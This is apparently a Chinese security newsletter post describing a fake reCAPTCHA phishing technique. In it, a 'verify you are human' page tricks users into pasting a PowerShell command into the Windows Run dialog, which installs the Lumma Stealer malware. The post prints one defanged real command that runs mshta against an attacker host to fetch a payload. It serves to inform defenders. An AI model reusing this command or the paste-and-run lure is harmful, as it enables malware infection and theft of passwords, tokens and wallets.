脑洞大开的【新型】钓鱼方法 reCAPTCHA 【网络钓鱼】

安小圈

第510期

网络钓鱼 reCAPTCHA

reCAPTCHA 网络钓鱼是在2024 年 8 -9 月在野发现的一种新型钓鱼方式，本文用以描述和演示此钓鱼方式。

最初看到的是“验证你是人类”的弹窗，这和以往没什么不同，但是此次的钓鱼也是借助了人们对此行为的习惯，通过让使用者复制粘贴payload从而实现攻击。

它实际上指示用户使用热键Win+R打开 Windows 运行对话框，并让他们使用Ctrl+V Web 浏览器已预先复制到剪贴板中的恶意命令。

虽然，看起来有点过于简单直接，但是其却出奇的有效...

截至 2024 年 8 月下旬，攻击者一直在使用欺诈性的“人工验证”页面来诱骗用户执行恶意 PowerShell 脚本。Lumma Stealer 旨在从受感染的计算机中窃取敏感信息，例如密码、会话令牌、加密货币钱包和其他个人数据。

假验证码页面

恶意PowerShell脚本的执行

PowerShell 脚本获取恶意 PE32 可执行文件（Lumma Stealer），然后在受害者的计算机上运行。

恶意命令执行示例：

mshta hxxps[:]//propller.b-cdn[.]net/propller

web页面js代码

阿里云机房着火超30个小时，云服务宕机，AWS趁火打劫？

【原文来源：合规渗透】

本文内容所包含内容仅限于学习和研究目的。这些内容源自公开的渠道搜集而来，目的是为帮助安全研究人员用于更好地理解和分析潜在的安全问题。

郑重提示：未经授权地利用可能涉及非法活动并导致法律责任和道德问题。请遵循适用的法律法规和道德准则。任何未经授权使用这些内容而导致的后果将由使用者自行承担。本文作者及安小圈不承担因使用本文内容而导致的任何法律问题、损害或责任。请详细阅读并理解这份免责声明。您将被视为已接受并同意遵守本免责声明所有条款和条件。